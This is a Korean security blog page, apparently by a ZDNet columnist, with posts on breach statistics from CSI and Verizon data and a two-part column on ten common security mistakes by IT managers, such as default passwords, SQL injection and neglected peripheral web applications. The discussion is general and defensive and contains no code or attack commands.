제한된 내부 사용자들만이 접근 할 수 있는 데이터베이스에 대한 접근을 공격자들은 자유자재로 웹서비스의 취약점을 통해서 접근 할 수 있는 상황이다. 지금의 상황은 내. 외부자에 의한 정보유출 및 피해 사례는 단순한 횟수 이외에도 정보유출시의 파급력이 함께 고려 되어야 하고 대비가 되어야만 한다.

 

 

내부자에 의한 사건 사고 비율을 조사한 내용을 보면 2007년에 비해 2008년에는 내부자에 의한 사고 비율이 줄어들고 있음을 볼 수 있다. 실제적으로 내부자에 의한 위험이 줄어든 것은 아니며 외부자에 의한 위험요소가 동등한 수준으로 격상이 되어 상대적으로 비율이 적어지고 있을 뿐이다. 또한 내부자에 대한 통제 수단들이 지속적으로 개선되어 효과를 보여 주고 있음을 의미 하기도 한다.

 

 

CSI의 조사 이외에도 Verizon의 실제 피해사례를 조사한 결과를 보면 내부자에 의한 피해가 더 크다고 볼 수는 없다. 외부자에 의한 실제 피해가 2005년까지는 급격한 하강 곡선을 그리다가 그 추세가 반전이 된 계기는 앞서 이야기 했듯이 어플리케이션에 대한 직접 공격을 통해 데이터베이스에 저장된 정보를 빼내어 갈 수 있게 되었기 때문에 발생한 변화이다.

 

통계치는 보기에 따라 다양하게 해석될 수 있으나 전반적인 흐름은 파악 할 수 있다. 상대적으로 파트너와 내부자에 의한 정보 유출은 제한적이거나 하락하는 경향을 볼 수 있다. 통제의 수단들이 늘어가고 있고 일정부분 영향을 미치고 있음을 의미한다.

 

2005년 이후의 보안성 강화 방안들이 정확한 해결책 이였는가 하는 의문에 대해 2005년 이후의 몇 가지 통계자료가 의미하는 바가 있을 것으로 본다. 내부자 통제에 대한 강화도 중요하나 외부자가 침입 할 수 있는 문제점들에 대해 체계적이고 주기적인 해결 방안을 가지고 있었어야 했는데 지금의 현실은 그렇지 못하다. 이전 컬럼에서 언급 하였듯이 외부자가 침입하는 방안으로 어플리케이션 해킹이 상당 비율을 차지하고 있고 실제 피해를 발생 시키고 있는데 효율적인 대책들은 지지부진하다.

 

2006년 이후 2008년까지의 IT예산에서 Security가 차지하는 비율은 평균비율로 보았을 때 지속적으로 높아지고 있다. 그만큼 IT 전체 예산에서 보안에 대한 중요성이 높아지고 있음을 의미한다. 이 통계는 보안의 중요성이 점차 더 높아지고 있고 전체를 흔들 수 있는 사안임을 느끼고 있다는 반증이라 할 수 있다.

과연 국내의 현실은 어디쯤일까?

 

 

n  공격의 특징

 

현재 글로벌 환경의 공격 특징은 한마디로 요약하면 타켓화라 할 수 있다. Web 2.0 기반의 소셜 서비스에 대한 공격이든 무엇이든 목적을 가지고 또 특정 대상을 한정하여 공격한다는 점이다. 공격을 방어하는 입장이 보안이라고 보면 국가든 기업이든 산업이든 간에 대상을 한정하고 특정 목적을 가지고 공격하는 것들이 늘어 나는 것이 확연한 추세라는 점이다.  글로벌화된 규모의 IT서비스 기업들의 출현은 그 기업의 서비스만을 공격하여도 성공률이 높아지는 환경을 만들었다.

 

공격의 대상은 특정 Application 이나 특정 서비스를 공격하며 얻고자 하는 것은 인터넷 사용자들의 개인정보 ( 게임계정, 금전거래, 서비스 정보) 및 기업의 중요정보의 탈취를 주된 목적으로 하고 있다. 부수적으로 공격 좀비들의 네트워크를 구성하여 규모의 봇넷을 구축하고 DDos 공격등을 통해 금전적 이득이나 힘의 과시, 협박이 일상적으로 발생 되고 있는 상황이다.

 

조금 더 가까운 미래에는 더 치명적인 일들이 발생 될 수도 있다. 사이버상에서의 영향력이 오프라인까지 전달되는 파국적인 결과를 초래 할 수도 있는데 지금까지 국제사회에서 통용되는 가난한 국가들의 무기 혹은 비대칭적인 무기로서 사이버 공격은 언제든지 전용 될 수 있을 것이다. 공격의 특징으로 꼽은 타켓화의 진행방향은 사이버 공격이 언제든 오프라인으로 확장될 수 있음을 나타내고 있다. 그 가능성은 점차 커지고 있는 상황이다.

 

통계치에 의해 공격의 특징들을 살펴보자.

 

 

버라이즌의 데이터 유출과 관련된 통계치이다. 직접적으로 내부의 데이터를 유출할 목적으로 침입을 한 경우가 72% 가량이나 된다. 기업망을 중심으로 하여 취약한 부분을 오랜 기간 (사실 지금의 웹어플리케이션의 보안 상황이면 그리 오래 걸리지 않는다.) 조사를 하고 헛점을 발견하면 직접 침입하여 정보를 유출한다. 더불어 악성코드들을 설치하거나 유포하는 행위들도 일상적으로 일어난다. 전체중 30%에 가까운 정보 유출 사고들은 랜덤한 공격을 통해 일어난다는 수치를 통해서도 현황을 극명하게 알 수 있다.

 

가치가 있는 자료인 경우에는 데이터를 유출하고 최종적으로는 악성코드를 유포하여 부수적인 정보를 획득하고 얻는 행위들이 지금까지 일반적 이였다. 국내의 경우에도 대부분 이라 할 수 있다. 목적이 무엇이냐에 따라 행위들이 달라질 뿐이지만 침입에 성공하고 제약 없이 접근이 가능한 사안이라는 점은 달라지지 않는다.

 

데이터 유출과 관련되어 사용되거나 유포된 악성코드들의 기능을 살펴본 통계는 키입력을 가로채고 직접 접근이 가능한 백도어 기능을 가지고 있는 것이 대부분이며 화면에 대한 캡쳐링 기능도 일반적으로 가지고 있다고 볼 수 있다. 거의 모든 정보의 유출이 가능한 형태이다. 사용자 PC에 설치 되는 악성코드들도 동일한 성능을 가지고 있다.

 

왜 이런 악성코드들은 무차별적으로 사용자들에게 뿌려지고 기업내부의 중요망에 설치가 되는데 보안 장비들은 탐지하지 못하는가 하는 문제제기가 된다. 앞서 계속 언급 하였듯이 공격자들의 기술진보와 기술공유는 보호 관점보다 휠씬 더 앞서 있다.


 

발견된 악성코드들의 형식은 전체의 60% 가량이 안티바이러스 제품을 피하기 위해 새로 제작 하거나 코드 수정, 압축을 통해 탐지를 회피하는 것을 볼 수 있다. 안티바이러스나 보안제품들의 탐지를 피하기 위해 수정이나 변형, 제작이 일반적인 상황이 되고 있으며 앞으로도 증가 할 것으로 볼 수 있다.

 

보안제품들의 악성코드 탐지는 대부분 시그니쳐 기반이다. 즉 알려진 유형에 대해서만 대처가 가능하다는 의미이다. 가장 오탐을 줄이고 정확성을 확보하는 방안이라서 사용 될 수 밖에 없다. 앞으로도 오랫동안.. 대안으로 휴리스틱 검진들이 나오기는 하지만 시스템이나 서비스 구조에 융화된 휴리스틱 검진은 출현하기 어렵다고 본다. 악성코드 유형 중에서 일부 오탐을 감내하더라도 압축된 방식이나 코드가 수정된 유형의 악성코드에 대해 제한적인 효과를 가질 것으로 보고 있다.

 

각 년도 별로 악성코드의 침입탐지 회피 시도 증가는 현재 버라이즌에서 조사한 실제 유출사고에서 분석된 내용이 알맹이만을 추출한 것으로 보고 있다. 2007년 이후 급격하게 증가한 탐지 회피 시도는 앞으로 더 은밀하고 생활과 밀접한 부분에도 직접적인 영향을 미치는 방향으로 전환 될 것으로 보인다. 탐지 회피 시도의 급증은 공격자들의 협력관계나 공유 정보들이 폭넓게 확산 되고 있음을 엿볼 수 있다.

 

이상과 같이 CSI 레포트와 버라이즌의 데이터 유출 조사, Cert, Sans등의 자료를 이용하여 필자가 생각하는 문제점과 방향에 대한 근거들을 설명 하였다. 지난 4~5년간의 변화를 몇 가지 자료를 이용하여 간략하게 언급 하였다. 지금 우리는 사회적, 구조적, 기술적 등등 각 방면에 걸친 대응 방안이 모아지고 미래를 위한 고민과 논의가 있어야 되나 눈 앞의 현상에만 집중하고 있는 상황이다. 대책은 획일적일 수가 없다. 정답이 없다. 현명한 자들은 변화를 끌고 나갈 것이고 그렇지 못한 자들은 끌려 갈 뿐이다. 보호를 위한 방안들도 현명하고 창의적이고 통찰력이 있어야 구체화 될 것이고 살아 남게 될 것이다.

 

항상 악성코드의 수치를 이야기 하고 탐지 횟수를 이야기 한다. 그러나 정작 중요한 것은 피해를 입었는지, 어떤 형태를 가지고 있는지, 어떤 방식을 사용 했는지가 더 중요한 자료가 된다.

보안장비에서의 탐지로그는 규모가 있다면 단 며칠, 몇 주 만에도 몇 억 건을 가볍게 넘어선다. 그러나 성공한 침입은 몇 백만분의 1도 되지 않을 것이다. 게다가 우회를 한다면 어떤 의미들이 있을까? 

단순한 보고만을 하기 위한 보안은 의미가 없다. 실제적인 역량을 갖추어야만 진짜가 된다. 그 역량을 갖추기 위해서는 변화가 어떻게 진행 되고 있고 어떤 부분을 더 노력해야 하는지에 대해서 알아야만 한다. 변화를 수용하고 받아들이고 바뀌려고 하지 않는다면 더 참혹한 결과를 볼 수 밖에 없을 것이다.

 

 

법과 규제로도 실제적인 문제는 해결 되지 않는다. 다만 모든 사고는 은폐될 뿐이다. 해결의 길은 더욱 멀어져 간다. 이게 지금의 현실 아닐까? 열정은 너무 먼 곳에 있다.

 

-       바다란 세상 가장 낮은 곳의 또 다른 이름

* 다음편은 SCADA 시스템의 위험에 대한 종합적인 시나리오를 작성 할 예정이다. 글로벌 보안 위협의 사실들이 개연성 차원에서 다수 포함 될 것이다. 그외 관심 있는 사안들이나 설명이 필요한 내용에 대해서는 블로그에 요청을 해주시면 아는 한도내에서 최대한 설명을 하도록 할 것이다. 그럼.

Posted by 바다란

10가지 어리석은 실수들-2

 - 바다란, zdnet 보안컬럼니스트

 

전편에는 시스템 및 네트워크 부분에서 빈번하게 발생 되는 케이스들을 살펴 보았다. 10여 년의 기간 동안 일선에서 침해사고를 담당하고 보안구성에 대한 업무를 진행하면서 상당수의 침해사고 발생 이후의 확산에 가장 큰 영향을 끼친 부분으로 보고 있다. 이번 컬럼의 내용은 2005년 이후 현재까지 진행중인 대부분의 침해사고에 해당되는 Application에 관련된 부분이다.

네트워크 관리자가 아닌 IT 관리자라 칭한 이유도 범위를 한정하여 발생 되는 부분이 아니며 전체의 관점에서 바라보아야 할 이슈이다.

 

Application에 관련된 보안 부분은 2000년대 이후 장대하고 중요한 흐름을 보이고 있다. 인터넷의 발달과 생활의 밀접화는 주변의 많은 것들을 변화 시켰고 생활에 밀접한 많은 것들을 인터넷 연결이 가능한 많은 부분들로 변하게 하고 있다.

Web 2.0 이라는 용어 자체도 생활에 밀접한 사용자친화형, 생활형을 가진 인터넷상의 삶과 동일하게 볼 수 있다. Web 2.0의 발달이 의미 하는 것은 사용자와 더 친밀하고 생활에 더 밀접한 요소들이 인터넷과 연결 되어져 있음을 의미한다.

 

Twitter 와 미투데이를 이야기 하고 블로그와 SNS의 생활 밀접도는 활동성이 큰 계층에 대해 상당히 높은 비중을 가지고 있다. 사용자간의 밀접도가 높고 연결관계를 가짐으로 인해 예전과는 비교 할 수 없을 만큼의 파급효과를 가지고 있고 위험도 동일하게 존재한다.

Web 2.0에서 발생될 수 있는 위협들에 대해서는 예전에 정리한 자료가(첨부파일) 여전히 유효하며 참고 할 수 있을 것이다.

 

본 컬럼에서 언급하는 Application Web Application으로 한정하여 논의를 하도록 한다. 넓은 범주의 Application이라 하더라도 인터넷 연결이 가능한 대부분의 Application은 동일한 문제들을 지니고 있는 것은 명백한 사실이며 현실이다.

 

< Major Attack trends by p4ssion>

 

전체적인 공격동향의 변화를 정리하고자 2007년에 작성한 이미지이고 현재도 별반 달라진 내용은 없다. 2005년을 기점으로 하여 국내를 기준으로 보면 자동화된 Application Attack이 최초 출현하고 이후에는 폭발적으로 증가한 상태로 볼 수 있다. 전 세계적으로도 Application Attack 관련 하여서는 2005년 이전에는 전문가에 의한 부분적이고 국지적인 침해들이 있었으나 2005년을 기점으로 하여 Web application을 공격하는 도구가 출현함에 따라 파급력이 매우 커지는 결과를 초래 하였고 현재는 인터넷 환경의 가장 큰 위험으로 등극한 상황이다.

 

수많은 개인정보의 유출과 도용 사례, 대규모의 좀비 PC, 서비스에 대한 직접적인 DDos 공격과 같은 모든 주요 사안들이 Application Attack과 연결되어 있다. 본 컬럼에서 필자는 이점에 대해서 분명히 하고자 한다. 2005년을 기점으로 국내 및 세계의 인터넷 위험도는 급격하게 증가 하였으며 보호를 위한 노력이 느리게 진행됨에 따라 지금까지의 위험보다 더 크고 복잡화된 위험들이 이미 다가와 있음을 분명히 한다.

 

 

기존의 소규모 혹은 국지적으로 이루어지는 해킹사고의 경우 침해사고의 범위와 피해 대상이 제한적 이였다. 그러나 현재의 환경은 개인의 PC를 대상으로 하고 있으며 종래에는 서비스까지도 위협하는 단계에 도달해 있다. 공격자들은 공격 범위와 대상에 대해 제한이 없으며 모든 개인 사용자의 PC를 개별적으로 공격할 필요성도 없다. 공격은 웹서비스가 대신해 준다. 공격자는 다만 주된 지점만을 공격하여 악성코드를 유포 하도록 만 하면 된다.

 

주된 지점에 대한 공격은 SNS, 게시판, 덧글, 동영상 등을 이용한 악성코드 전파들도 있으며 더 근본적인 기저에는 취약한 Web Application에 대한 권한 획득이 가장 근본적인 문제이다. Web Application에 대한 직접적인 공격을 통해 DB에 저장된 데이터를 절취해 가고 Web Application의 소스코드를 변조하여 방문하는 모든 사용자에게 악성코드를 유포하도록 한다.

 

Web Application에 대한 자동화된 공격도구의 출현은 보안에 대한 패러다임을 바꾼 것이 아니라 인터넷 산업 자체의 패러다임을 바꾼 중대한 전환점이라 할 수 있다. 공격 도구의 자동화가 끼친 영향은 DB의 사용자 정보 유출 과 정보 유출이 일차적인 목적 이였으나 불특정 다수에 대한 악성코드 유포의 도구로 활용 됨에 따라 큰 전환점이 일어난다.

 

방문 하는 모든 사용자의 PC에 취약성이 존재하면 반드시 감염이 되고 모든 사용자의 정보는 공격자에게로 전송이 되고 조정이 된다. 수백 만대가 넘는 좀비PC의 확보는 상당 부분 유사한 형태로 이루어 졌을 것이다. 유출된 개인정보들은 DB에 저장된 정보 이외에도 개인 사용자 PC에서 전송되는 정보들도 있다. 엄청난 양의 개인정보들은 이미 유출 되었고 활용이 되고 있다. 그 결과 정확도와 신뢰도가 높은 보이스 피싱과 일반적인 피싱 공격들이 연이어서 발생 하는 것뿐이다. 더불어 권한 획득된 개인 PC를 이용하여 DDos 공격을 하고 개인정보를 이용하여 서비스의 혼돈을 초래하며 거래를 통해 이득을 얻어내고 있다.

 

모든 전문가들이 개인PC의 보안을 강화하라고 한다. 그러나 보다 근본적으로는 모든 IT 서비스에 대해 보안성 검증이 먼저 되어야 할 것이다. 전파가 가능한 매개체를 줄이면 피해는 국지적으로 발생 할 뿐이다. 지금은 그 어떤 것도 되어 있지 않고 개인의 책임만을 이야기 한다. 일면 무책임 하기도 하다. 물론 개인PC에 대한 보안성 강화는 당연히 있어야 하는 일이다.

 

 

일반적으로 우리가 악성코드라고 부르는 것은 백신에서 악성코드라고 탐지를 할 때에야 비로소 알게 된다. 악성행위를 하는 프로그램은 백신개발사에 의해 분석되고 등록되기 이전에는 악성코드라고 탐지가 되지 않는다.

 

만약 새로운 유형의 악성코드가 지금껏 발표되지 않은 비공개된 취약성을 이용하여 개인PC를 공격 한다면 사전에 발견 할 수 있을까? 아직 기술의 진보는 여기에 완전하게 이르지 못했다.  그렇다면 웹 서비스를 통해 새로운 유형의 악성코드가 유포 된다면 감염자는 얼마나 될 수 있을까? 방문 하는 사용자의 상당비율이 감염이 될 것임은 불을 보듯 뻔하다. 지금은 얇디 얇은 유리와 같은 상태로 인터넷 서비스와 산업이 유지되고 있는 상황이다.

 

지금의 현실은 상상하기에도 끔찍한 현실이다. 그러나 이 현실 속에서도 생존 해야만 미래가 있다. 그 생존을 위해서는 문제를 공론화 하고 풀어가는 과정이 필요한데 숨기려고만 한다. 풀어가는 과정 조차 없고 문제의 핵심에 대한 논의도 거의 없는 상태이다.

 

 

기본적인 현실에 대한 간략한 설명을 우선 하였고 각 항목별로 어떻게 연결이 되는지 확인을 해보자. 이제 열 가지 실수 중 남은 부분을 살펴 보면 다음과 같다.

 

Failing to test noncritical applications for basic vulnerabilities

 

중요하지 않은 Application이라는 용어에 몇 가지 의미가 있을 수 있으나 이 부분에서는 외부로부터 http 접근이 허용이 된 모든 Application이라고 보아야 바람직하다. 일반적으로 외부로부터 침입에 활용되는 매개체는 2005년 이전의 직접적인 서비스 공격에서 서비스 포트에서 운영이 되는 Web application으로 옮겨져 있다. 지금의 공격도 여기에 집중이 되고 있다. 항상 외부로부터의 관점에서 취약성을 평가해야만 안정성을 보장 할 수 있다. 일반적으로 각 서비스 회사마다 하나에서 수십, 수백여 개의 서비스 URL들을 운영 하고 있을 것이다. 그러나 대부분의 보안상 위험에 대한 관점은 주된 서비스 몇 개에 한정 되어 있다. 위험에 대한 모니터링과 보안에 대한 강화들도 대부분 주요 서비스에만 집중 되어 있는 상황이다. 특히 Application에 대한 보안성 강화는 많은 노력과 시간들이 소요 됨으로 인해 주요 서비스만 시행을 하는 경우만 많다. 내부망에 침입 할 수 있는 주변 Application에 대한 관리가 소홀하고 취약성 제거가 이루어 지지 않는다면 그 동안의 모든 보안강화 조치는 우회를 통해 완전하게 무력화 된다.

 

우회 할 수 있는 여러 통로들이 있고 어차피 동일한 결과를 가져 오는 상황에서 보안이 강화된 사이트들을 직접 공격할 이유는 전혀 없다. 중점 관리의 영역에서 벗어나 있고 외부에 오픈된 상태로 존재하는 web application의 존재는 전체를 위험하게 만들 수 있다. 우회하여 권한을 획득하고 해당 서버에 백도어를 설치한 이후 주변 서버로 제한 없이 공격을 실행 하고 확대하는 것은 보호되고 있는 서비스망 전체를 무너지게 만든다.

 

결론적으로 서비스를 제공하는 모든 Application에 대해서 외부에서의 오픈 현황을 정기적으로 확인하고 오픈된 서비스에 대해서는 반드시 취약성 존재 유무를 확인하고 제거 하여야만 된다. 본질적으로는 허가를 받지 않은 서비스는 외부에 오픈 되어서는 안 되는 것이 기본이나 예외적 상황은 언제든 발생하게 마련이다.

 

벽은 눈 앞에만 쌓여 있고 한 걸음만 옆으로 비껴가면 벽은 없는 것과 마찬가지 이다. 좀 더 나아가 서비스별로 접근제어도 고민 하여야 하고 내부망에서의 위험 인지를 위한 방안들도 고민 하여야 사고가 발생 하더라도 피해의 최소화가 가능하다.

 

보안은 침입을 막는 것도 중요하나 더 중요한 부분은 침입에 대한 피해를 최소화 하고 분석과 재발방지를 위한 대안 제시가 가능한지가 핵심이다. 전문가의 역할이기도 하다.

 

 

 

Not adequately protecting your servers from malware.

 

Malware라는 개념은 악성코드라는 개념으로 볼 수 있고 일반적인 백도어와 키로거등을 총칭한다.현재의 항목에서 논의되는 사항은 바로 위의 항목 부분에서 언급한 내용과 동일하다. 대부분의 서비스 관리자는 바깥으로부터의 침입에만 여력을 기울이는 경향이 매우 크다. 그러나 항상 모든 Application은 취약점이 있다는 자세로 그 다음 단계를 준비하는 것이 반드시 필요하다. 대부분의 공격자들은 침입 이후에는 계정정보를 획득 하거나 백도어를 설치 할 때 알려진 도구를 일반적으로 사용 한다. 이 경우를 탐지 할 수 있는 도구가 필요하며 일반적인 백신 제품의 설치가 필요하다. 서버군이 많을 경우에는 중앙통제가 가능한 형태의 백신 제품을 사용 하여야 관리와 통제가 용이하다. 최소한 알려지지 않은 도구를 사용하더라도 발견 즉시 전체의 서버군에 적용 할 수 있어야 한다. 그래야 피해를 확실히 알고 종합적인 대책이 가능하다.

 

우회 침입 이후의 공격자의 행동을 탐지하고 제약하기 위한 도구들의 운영미비는 항상 존재한다. 또한 공격자들은 침입 이후 (침입자체를 백신제품이 완전히 탐지 하지는 못한다.) 백신 제품이 활성화 되어 있을 경우 백신 제품을 비활성화 시키고 의도한 바를 하고자 한다. 만약 중앙통제 및 관리가 되지 않는 제품이라면 놓칠 수 밖에 없는 부분이다.

 

 

Not knowing where credit card or other critical customer data is stored.

 

서구권역의 경우 중요한 개인정보는 거래 및 카드 관련된 내용, 사회보장번호등이 가장 중요한 내용으로 취급된다. 국내의 경우에는 개인의 신상에 관련된 정보들이 휠씬 더 중요한 의미를 가지고 있다. 카드 도용 사고는 서구권역에서 비일비재하게 발생 되는 이슈이고 사고 발생 이후의 추적을 통해서 문제들을 제거하는 경우가 일반적이다. 국내의 경우는 금융 관련된 거래에는 여러 다양한 제약 조건들이 있어서 공격자가 데이터를 가져간다 하여도 어려움이 존재한다.  장단점이 있지만 국내의 경우는 개인정보가 고유한 Identity를 나타냄으로 인해 여러 유형의 피싱에 이용 될 수 있고 보다 더 복잡한 문제들을 일으키게 된다. 따라서 Data의 보호는 최우선 순위이고 대부분의 IT관리자들이 이점을 잘 알고 있다.

 

Data의 관점은 보호 관점에서 분류가 달라 질 수 있다. 개발소스가 될 수도 있고 고객정보가 될 수도 있다.

 

최 우선순위에 해당하는 보호 대책이 적용 되고 있는 중요 데이터 저장 서버 이외에도 백업된 데이터 및 개발자나 관리자의 PC에 남겨진 데이터들에 대한 관리들도 제대로 되고 있는지 살펴 볼 필요는 있다. 개발자나 관리자 이외에도 고객상담과 관련된 분야에 있어서도 고객 관련된 데이터를 취급함으로써 문제 발생 소지는 높다.

 

공격자는 강화된 수준의 중요 데이터 저장 서버를 직접 공격하기 보다는 우회하여 주변의 백업 혹은 개발자, 관리자, 고객상담 관련 부분에 대한 우회 공격을 통해 손쉽게 정보를 빼내어 갈 수 있다.

 

정책적이고 기술적인 측면에서 중요 Data에 대한 접근과 관리 및 보관에 대해서는 엄격한 적용이 필요하고 보호대책도 준수 되어야 함을 알 수 있다.

 

 

 

Failing to find SQL coding errors. ( or Application vulnerability)

 

 

Application의 취약성을 찾는 것은 항상 어렵다. 특히 C/S Application이 아닌 변화와 갱신이 많은 Web Application에 대해 보안성을 항상 최상으로 유지하는 것은 상당히 어려운 수준의 업무임은 틀림 없다.

 

SQL Injection 공격은 현재 직접적인 Web server 침입과 Data의 절취에 직접 사용이 되고 있는 공격 기법이고 자동화된 도구가 대량으로 출현한 상태라 Web Application의 안정성은 높은 수준으로 위협을 받고 있다. 문제 해결을 위해서는 장비 도입을 통해 임시적으로 막는 방법들이 있고 또 한가지는 근본적인 소스코드의 문제점을 수정하는 방법이 있다. 웹 보안 장비의 도입을 통해 막는 방법은 우회할 수 있는 여러 기법들과 새로운 공격 기법의 출현에 따라 무력화 되면 새로운 공격 기법이나 우회 기법이 나올 때 마다 업데이트를 진행 해 주어야만 하는 점이 있다.

 

특징을 가진 웹 사이트의 경우에는 각 사이트마다 특징에 맞는 구성을 해주어야 하는 점도 있어서 공격 유형의 변화에 빠른 대응을 하기란 어려운 점들이 있다. 근본적인 문제 해결을 위해서는  전문인력을 통해 보안성을 점검하거나 스캐너, 소스코드 리뷰 등을 통해서 소스코드에 존재하는 문제점을 찾아 내고 수정 할 수 있도록 가이드 하여야 한다.

 

보안장비의 경우에는 변화되는 공격에 무력하다는 점과 특징이 있는 경우에는 Customizing이 대량으로 필요하다는 점에서 어려움이 존재한다. 그러나 당장의 소스코드 개선 여력이 없는 곳에서는 알려진 위험을 막기 위해서라도 도입 하는 것은 바람직하다. 근본적인 개선은 아니며 향후 문제 발생 소지가 계속 존재한다는 점은 절대 잊지 말아야 한다.

 

전문인력을 통해 진단을 하고 소스코드를 리뷰 하는 행위의 문제점은 웹 서비스 개발보다도 리소스 비용 및 시간 소요가 더 오래 걸리는 경우가 많다는 점이 문제다. 치명적인 문제점이라 할 수 있다. 또한 템플릿 을 기반으로 하여 Secure programming을 진행하는 경우 웹 개발자에게 획일화된 프로그래밍을 하도록 제약 함으로써 창의성을 해치는 결과를 가져 오기도 한다.

 

두 방안 모두 장단점이 있으나 여력이 있는 서비스 업체와 그렇지 않은 업체 사이에 선택은 다를 수 밖에 없을 것이다. 현재의 인터넷 환경은 가난하고 여력이 없는 서비스에 대해서는 무지막지할 정도로 가혹한 환경이다.  이 부분에 대해서는 근 시일 내에 컬럼으로 효율적인 대응 방안을 정리 할 수 있도록 하겠다.

 

 

Not following the Payment Card Industry Data Security standards.

 

위의 항목은 국내의 현실과는 약간 다른 항목이다. 국내에서 통용되는 부분으로 논의하자면 좁은 범주의 정보보호관리체계인증(ISMS), 정보보호안전진단, ISO 27001 (이전의 BS7799)등에 존재하는 Data 보호 규정을 준수 하여 Data를 보호해야 한다는 것을 의미한다. Data의 보호를 위한 규약들은 기본적인 규칙의 준수를 의미한다. 기밀성이 필요한 데이터에 대한 암호화, 외부로부터의 접근제한, 접근자에 대한 통제, 기본적인 서비스 보안구성, 암호화된 데이터의 전송 등은 필수적으로 고려해야 할 대상이다. 상세한 설명은 곳에서 찾을 수 있다.

 

 

이상과 같이 전편에 이어 이번 편에 이르기까지 10가지의 실수들에 대한 언급을 통해 자주 발생 되는 침해사고에 대한 내용들과 연관된 부분들을 살펴 보았다. 물론 개인적인 경험들이 들어간 내용이라 정확한 방향이라고 언급하기에는 어려운 부분이 있다. 여러 해 동안을 일선에서 살펴보고 대응을 하는 과정에서 일관되게 발견 되는 문제점으로서 언급을 하였다는 정도로 인식을 해주시면 바람직할 것이다.

 

현재의 인터넷은 침해사고에 대한 언급을 하기 이전에 상당히 위험한 상황에 처해 있으며 앞으로 상당 수준의 노력을 기울여야만이 일정 수준의 성과를 보장 할 수 있는 상태이다. 위험성은 은폐한다고 해서 사라지지 않는다. 은폐든 무지든 마찬가지의 결과다. 더 큰 결과로 산업을 위협하게 될 것이다. 이제는 직접적인 위협이 됨을 이미 여러 번 목격을 하였지만 아직 큰 방향성도 없다.

 

사막의 여행자는 눈 앞의 끝없는 사막이 아니라 밤하늘의 별을 볼 수 있어야만 생존 할 수 있다고 한다.  지금 우리는 어디쯤인지도 모르는 것은 아닐까?

 

 

인터넷과 IT의 활성화를 시작한 김대중 전 대통령의 서거를 진심으로 애도합니다.

유난히 큰 분들이 많이 가십니다. 어쩌면 인간의 탐욕에 대한 재앙이 아닐까 생각 되어 씁쓸합니다.

Posted by 바다란

IT 관리자들의 10가지 어리석은 실수들-(기본 인프라)   -zdnet column

 

Pc world 실린 내용 이나 의미 있게 살펴 보아야 할 내용들도 존재하고 다른 관점에서 보아야 할 이슈들도 존재한다. 침해사고가 창궐하고 있는 불황의 시기에 주관적인 의견도 도움이 되는 부분을 발췌하여 활용 한다면 서비스의 안정성 유지에 충분한 역할을 할 수 있을 것이다. 노골적인 표현 그대로 어리석은 실수라기 보다는 잘 지켰다면 문제들이 많이 줄었을 것이라는 아쉬움의 표현이라고 받아 들였으면 하는 바램이다. 한국적 IT 서비스에서 일반적으로 발생하는 침해사고에 관한 10가지 정도의 이슈로 참고 하셨으면 한다. 우선은 기본 인프라에 관련된 5가지 정도의 이슈에 대해 정리 한다.

 

차분하게 기업의 IT 보안 현실과 여러 가지 진행중인 개선 과제들이 무엇을 위한 것인지를 되돌아 보고 동일한 실수나 위험들이 반복 되지는 않는지 또는 기본적인 부분들은 어느 정도 대비가 되고 있는지도 살펴 보는 기회가 되었으면 한다.

 

본 컬럼에는 인터넷의 시작과 더불어 지금까지 계속된 일반적으로 알려진 이야기들도 존재하고 현재에 이르러 급격하게 나타난 이슈들도 존재한다. 시대의 상황에 맞게 기본적인 틀들을 지켜야 함은 변함 없는 규칙이다. 최소한의 규칙 준수는 피해의 가능성을 그만큼 줄여 줄 수 있기 때문이다.

 

기업의 보안에 있어서 가장 흔한 문제는 일어 났던 사고들이 반복해서 일어나고 시스템의 규모와 어플리케이션의 규모가 커짐에 따라 이미 알고 있는 부분 조차도 신경을 쓰지 못하여 방치된 기본적인 문제들이 추가적인 침입을 초래하는 상태에 이르는 문제이다. 이전까지는 발견을 하지 못하다가 침해사고를 경험한 이후에야 문제는 기본적인 것에 있음을 알게 된다.. 그러나 개선은 매우 더디게 진행된다. 이것이 지금까지의 루틴화된 대응방식들 이였다.  

근본적으로는 IT 보안 관리자 혹은 역량 있고 강력한 지원을 받는 IT 관리자가 극심하게 부족한 이유이기도 하고 경영과 분리된 기술로 치부 되고 있어서 더 심각한 양상을 우리나라에서는 띄고 있기도 하다.

 

IT 서비스를 운영하는 회사에서 IT 서비스의 생존을 유지하는 것은 절대적인 일이다. 경영의 효율과 마케팅의 최적화로도 커져가는 구멍을 막을 수는 없다. 그대로 방지할 경우 구멍은 점점 더 커져 종래에는 모든 일들을 수포로 돌아가게 한다. 보안에 투입되는 비용은 그대로 소모되는 비용이 아닌 미래의 불확실성을 줄여주고 예측 가능한 범주의 안정성을 일정수준 보장하는 의미가 있다. 일회적인 투입이 아닌 지속적인 투자와 관심만이 많은 부분의 위험을 줄일 수 있으며 서비스의 영속성이 보장된다. 마케팅의 귀재들이 있는 회사라 할지라도 기본적인 보안이 되어 있지 않다면 그 어떤 마케팅도 의미 없는 것이 되어 버린다. IT 서비스 회사에서의 보안은 이제 절대적인 이슈이지 부수적인, 있으면 좋은 그런 요소는 아니다.

 

 

참조 기사에서는 Network 관리자라고 칭하였으나 적당하지 않은 부분도 있어서 IT 관리자로 호칭하도록 한다. 또한 각 열 가지 항목만을 발췌하고 설명은 주관적으로 제시를 한다. 반드시 필요한 항목임에는 두말할 필요가 없다. 실정에 맞지 않는 부분은 현실에 맞도록 재해석을 하였다.

 

 

-Not changing the default passwords on all network devices

 

Default 계정과 패스워드에 대한 이슈는 운영체제가 생기고 네트워크로 연결된 이래 항상 논의되는 문제이다. 계정과 패스워드 관리에 대한 정책들은 요 근래에야 많은 부분 지적이 되고 있으나 일반적인 침해 사고에서 여전히 무시할 수 없는 부분이 Default 계정 및 패스워드에 의해 발생 되는 것은 엄연한 현실이다.

 

네트워크 장비 ( 스위치, 라우터), 운영체제 , DB, Application과 같은 모든 IT자산에 대해 존재하는 Default password와 계정의 변경은 반드시 확인이 되어야 한다. 패스워드에 대한 Life cycle을 유지하고 관리 할 수 있어야 하며 모든 IT 자산에 대해 분명한 검토들이 있어야 한다. 지금 이 글을 읽고 있는 독자들 중에서 IT관리를 하시는 분들도 관리하에 있는 모든 시스템들의 Default 계정과 패스워드를 완벽하게 제거 하고 있다고 확언 하실 수 있는 분은 그리 많지 않으리라 생각된다.

 

